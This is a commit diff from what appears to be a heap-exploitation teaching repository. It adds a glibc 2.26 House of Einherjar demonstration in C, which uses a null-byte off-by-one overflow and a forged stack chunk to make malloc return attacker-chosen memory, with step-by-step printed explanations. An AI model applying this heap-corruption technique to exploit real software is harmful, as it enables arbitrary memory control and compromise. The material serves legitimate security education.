Add house_of_einherjar to glibc_2.26

Makefile

@@ -1,6 +1,6 @@
 BASE = fastbin_dup malloc_playground first_fit
 V2.25 = glibc_2.25/fastbin_dup_into_stack glibc_2.25/fastbin_dup_consolidate glibc_2.25/unsafe_unlink glibc_2.25/house_of_spirit glibc_2.25/poison_null_byte glibc_2.25/house_of_lore glibc_2.25/overlapping_chunks glibc_2.25/overlapping_chunks_2 glibc_2.25/house_of_force glibc_2.25/unsorted_bin_attack glibc_2.25/unsorted_bin_into_stack glibc_2.25/house_of_einherjar glibc_2.25/house_of_orange
-V2.26 = glibc_2.26/unsafe_unlink glibc_2.26/poison_null_byte glibc_2.26/house_of_lore glibc_2.26/overlapping_chunks glibc_2.26/unsorted_bin_attack glibc_2.26/unsorted_bin_into_stack
+V2.26 = glibc_2.26/unsafe_unlink glibc_2.26/poison_null_byte glibc_2.26/house_of_lore glibc_2.26/overlapping_chunks glibc_2.26/unsorted_bin_attack glibc_2.26/unsorted_bin_into_stack glibc_2.26/house_of_einherjar
 PROGRAMS = $(BASE) $(V2.25) $(V2.26)
 CFLAGS += -std=c99 -g
 

glibc_2.26/house_of_einherjar.c

@@ -0,0 +1,107 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+#include <malloc.h>
+
+/*
+   Credit to st4g3r for publishing this technique
+   The House of Enherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
+   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 
+*/
+
+int main()
+{
+	fprintf(stderr, "Welcome to House of Einherjar!\n");
+	fprintf(stderr, "Tested in Ubuntu 16.04 64bit.\n");
+	fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
+	fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
+
+	uint8_t* a;
+	uint8_t* b;
+	uint8_t* d;
+
+	fprintf(stderr, "\nWe allocate 0x38 bytes for 'a'\n");
+	a = (uint8_t*) malloc(0x38);
+	fprintf(stderr, "a: %p\n", a);
+
+    int real_a_size = malloc_usable_size(a);
+    fprintf(stderr, "Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);
+
+    // create a fake chunk
+    fprintf(stderr, "\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
+    fprintf(stderr, "However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
+    fprintf(stderr, "We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
+    fprintf(stderr, "(although we could do the unsafe unlink technique here in some scenarios)\n");
+
+    size_t fake_chunk[6];
+
+    fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
+    fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
+    fake_chunk[2] = (size_t) fake_chunk; // fwd
+    fake_chunk[3] = (size_t) fake_chunk; // bck
+    fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
+    fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
+
+
+    fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
+    fprintf(stderr, "prev_size (not used): %#lx\n", fake_chunk[0]);
+    fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
+    fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
+    fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
+    fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
+    fprintf(stderr, "bck_nextsize: %#lx\n", fake_chunk[5]);
+
+	/* In this case it is easier if the chunk size attribute has a least significant byte with
+	 * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
+	 * the chunk includes the amount requested plus some amount required for the metadata. */
+	b = (uint8_t*) malloc(0xf8);
+    int real_b_size = malloc_usable_size(b);
+
+	fprintf(stderr, "\nWe allocate 0xf8 bytes for 'b'.\n");
+	fprintf(stderr, "b: %p\n", b);
+
+	uint64_t* b_size_ptr = (uint64_t*)(b - 8);
+    /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
+
+	fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr);
+	fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n");
+	fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
+	a[real_a_size] = 0; 
+	fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
+    fprintf(stderr, "This is easiest if b.size is a multiple of 0x100 so you "
+           "don't change the size of b, only its prev_inuse bit\n");
+    fprintf(stderr, "If it had been modified, we would need a fake chunk inside "
+           "b where it will try to consolidate the next chunk\n");
+
+    // Write a fake prev_size to the end of a
+    fprintf(stderr, "\nWe write a fake prev_size to the last %lu bytes of a so that "
+           "it will consolidate with our fake chunk\n", sizeof(size_t));
+    size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
+    fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
+    *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
+
+    //Change the fake chunk's size to reflect b's new prev_size
+    fprintf(stderr, "\nModify fake chunk's size to reflect b's new prev_size\n");
+    fake_chunk[1] = fake_size;
+
+    // free b and it will consolidate with our fake chunk
+    fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
+    free(b);
+    fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
+
+    //if we allocate another chunk before we free b we will need to 
+    //do two things: 
+    //1) We will need to adjust the size of our fake chunk so that
+    //fake_chunk + fake_chunk's size points to an area we control
+    //2) we will need to write the size of our fake chunk
+    //at the location we control. 
+    //After doing these two things, when unlink gets called, our fake chunk will
+    //pass the size(P) == prev_size(next_chunk(P)) test. 
+    //otherwise we need to make sure that our fake chunk is up against the
+    //wilderness
+
+    fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk\n");
+    d = malloc(0x200);
+    fprintf(stderr, "Next malloc(0x200) is at %p\n", d);
+}